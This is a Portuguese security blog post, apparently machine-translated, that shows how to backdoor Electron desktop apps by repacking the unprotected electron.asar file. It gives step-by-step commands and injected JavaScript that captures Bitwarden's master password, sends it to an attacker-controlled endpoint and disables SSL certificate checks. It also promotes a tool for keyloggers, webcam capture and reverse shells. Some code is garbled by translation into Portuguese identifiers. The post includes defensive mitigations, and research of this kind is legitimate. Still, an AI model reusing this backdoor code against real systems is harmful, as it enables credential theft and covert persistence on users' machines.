sexta-feira, 29 de janeiro de 2021

Exploração Básica da Framework Electron

Esta postagem do blog explica como as vulnerabilidades no Electron Framework podem permitir que um invasor injete um código malicioso dentro de um aplicativo legítimo sem gerar nenhum aviso.

Aviso: Observe que este artigo não é sobre vulnerabilidades em aplicativos Electron, mas sobre a própria Estrutura Electron. ISTO NÃO É UMA VULNERABILIDADE NOS APLICATIVOS INDIVIDUAIS.

Prova de conceito

No exemplo a seguir, todas as senhas armazenadas do usuário são exfiltradas assim que desbloqueiam o cofre.

Introdução

Electron é uma estrutura de código aberto que permite aos desenvolvedores criar aplicativos de desktop multiplataforma. Sua arquitetura é bastante simples, ele está executando Node.js como backend e está usando Chromium no frontend. Isso é efetivamente “Chrome-in-a-box” que muitas empresas adotaram a fim de fornecer suporte mais amplo para sistemas operacionais juntamente com a redução de custos de desenvolvimento. Alguns aplicativos que são implementados usando esta estrutura são Slack, Skype, WhatsApp, Signal, Discord, Twitch, VS Code, Atom, Bitwarden e GitHub Desktop. No entanto, a arquitetura dessa estrutura expõe o arquivo “electron.asar”, que permite que um invasor injete um backdoor. Resumindo, esse é um ataque de Cross-Site Scripting com algumas etapas extras.

Detalhes

Como já mencionado, este ataque não explora nenhuma vulnerabilidade nos aplicativos, mas, em vez disso, aproveita a arquitetura do Electron, o que significa que, para explorar isso, o invasor precisará ter acesso de gravação à pasta de instalação do aplicativo. Alguns aplicativos (como o Skype) são instalados no diretório Arquivos de programas do Windows, o que requer privilégios elevados. Outros aplicativos, como Slack e VS Code, são instalados na pasta Application Data do usuário, que não requer permissões especiais para modificar arquivos. Todos os aplicativos Electron possuem uma pasta em seu diretório de instalação chamada “recursos”. Normalmente, essa pasta contém os seguintes arquivos:

image

O primeiro arquivo, app.asar, contém o aplicativo real. O segundo arquivo, electron.asar, contém o “boot-loader” que prepara o ambiente do Chromium para rodar o aplicativo, e este é o arquivo que torna este ataque possível.

Um arquivo “ asar ” é um “formato de arquivo simples e extenso semelhante ao tar com indexação” e o Electron oferece um pacote npm para gerenciar esses arquivos (empacotar / extrair). Este arquivo, entretanto, não é criptografado, ofuscado ou protegido de nenhuma forma. Um invasor pode fazer qualquer modificação nesses arquivos e recompactá-los sem modificar a assinatura do executável real. Além disso, esse ataque funciona em todos os sistemas operacionais.

A anatomia de uma porta dos fundos

A primeira etapa é extrair o conteúdo de electron.asar, o que pode ser feito usando o pacote npm asar:

extrato de asar electron.asar ./electron

A saída deve ser semelhante a:

image

O arquivo que mais nos interessa é:

./electron/browser/chrome-extension.js

Ao modificar esse arquivo, podemos nos ligar a vários eventos, que aproveitaremos para injetar nossa porta dos fundos.

Para confirmar que isso funcionará, podemos injetar o seguinte código na parte inferior do arquivo:

app.on ('browser-window-focus', function (event, bWindow) { 
    bWindow.webContents.executeJavaScript ("alert ('Hello World!');") 
})

Este evento será acionado toda vez que o aplicativo estiver focado. Usamos o pacote asar para reembalar o arquivo:

asar pack ./electron electron.asar

 

Ao executar o Bitwarden, somos recebidos com uma caixa de alerta:

É bastante óbvio agora que podemos executar código JavaScript arbitrário dentro do contexto do próprio aplicativo - praticamente um XSS. Injete o seguinte snippet, que vinculará o evento de clique do botão de desbloqueio e recuperará a senha mestre depois que o usuário desbloquear o cofre:

let unlockButton = document.querySelector ('# botão de página de bloqueio'); 
unlockButton.addEventListener ('click', function () { 
    alert (document.querySelector ('# masterPassword'). value); 
});

Depois de minimizar e injetar o código da mesma maneira que antes, uma vez que o usuário desbloqueie o cofre, podemos extrair a senha mestra:

Agora que podemos obter a senha mestre, podemos passar para a próxima etapa, que seria exfiltrar a senha. Podemos fazer isso usando uma solicitação AJAX clicando no botão “Desbloquear”.

let unlockButton = document.querySelector ('# botão de página de bloqueio'); 
unlockButton.addEventListener ('click', function () { 
    let key = document.querySelector ('# masterPassword'). value; 
    let xhttp = new XMLHttpRequest (); 
    xhttp.open ('GET', 'https: // xxx. xxx.xxx.xxx/capture.php?data= '+ encodeURIComponent (chave), verdadeiro); 
    xhttp.send (); 
});

No entanto, como o Electron está executando o Chromium, se tentarmos extrair dados por SSL, precisamos garantir que nosso endpoint tenha um certificado válido. Mas como isso nem sempre é possível, podemos ignorar qualquer validação de certificado usando o evento “erro de certificado”. Seguindo nosso evento “browser-window-focus”, adicionamos o seguinte código, que irá ignorar quaisquer avisos SSL:

app.on ('erro de certificado', (evento, webContents, url, erro, certificado, callback) => { 
    event.preventDefault () 
    callback (true) 
});

Em seguida, quando o usuário desbloquear seu cofre, a senha será enviada ao local do invasor.

Usos da vida real

É importante observar que essa técnica requer acesso à máquina, que pode ser um shell ou acesso físico a ela. A primeira maneira seria injetar backdoors específicos do aplicativo (como neste exemplo), mas esse método requer a implementação de módulos direcionados. A segunda maneira seria usar isso como um método de persistência em engajamentos do Red Team (como executar um implante na inicialização).

Restrições

Embora essa técnica possa injetar código em qualquer aplicativo Electron, sua taxa de sucesso depende do próprio aplicativo. Pode não ser possível exfiltrar dados de um aplicativo, se, por exemplo, ele definir uma Política de Segurança de Conteúdo.

No entanto, a exfiltração de dados não é tudo o que pode ser feito com esse ataque. Para demonstrar as capacidades e automatizar este processo, BEEMKA foi desenvolvido. BEEMKA pode ser usado para injetar o seguinte em uma aplicação Electron:

• Keylogger
• Capturas de tela
• Câmera da Web
• Shell reverso para Windows e Linux

Exemplos e documentação podem ser encontrados em: https://github.com/ctxis/beemka .

O aplicativo Skype Electron define um CSP que o impede de enviar dados a um domínio controlado pelo invasor. No entanto, conforme demonstrado no vídeo a seguir, um backdoor de shell reverso pode ser injetado no Skype e usado para obter persistência em um host, por exemplo, em um cenário de equipe vermelha:

BEEMKA é modular, aqui está um exemplo de injeção de backdoor de captura de tela no Slack:

E aqui está uma porta dos fundos que liga a câmera do usuário:

Recomendação

No momento em que este livro foi escrito, não havia nenhuma maneira definitiva de proteção contra esse ataque. No entanto, existem atenuações que podem ser implantadas:

Se você estiver usando um aplicativo escrito em Electron (e provavelmente está):

  • Certifique-se de atualizar seus aplicativos com freqüência. Quando um aplicativo é atualizado, electron.asar é geralmente substituído por uma versão limpa - removendo quaisquer backdoors.
  • Instale os aplicativos como um usuário com altos privilégios (ou seja, em “Arquivos de programas”) e use-os como um usuário com poucos privilégios. Para explorar esta vulnerabilidade, o invasor não teria apenas que obter acesso ao seu host, mas também elevar seus privilégios para os de administrador.

Se você estiver desenvolvendo um aplicativo em Electron:

  • Certifique-se de usar metatags CSP em seu arquivo index.html.
  • Implementar e usar WebViews era possível.

Se você é um mantenedor do próprio Electron:

  • Inclua electron.asar no próprio executável. Seu tamanho geralmente é em torno de 250 KB e não afetaria o desempenho do aplicativo de forma alguma.

Resumo

Seguindo o passo a passo deste artigo, demonstramos como é simples injetar código malicioso em um aplicativo legítimo sem gerar nenhum aviso. À medida que mais e mais empresas estão adotando o Electron, é fundamental garantir que os aplicativos não sejam violados.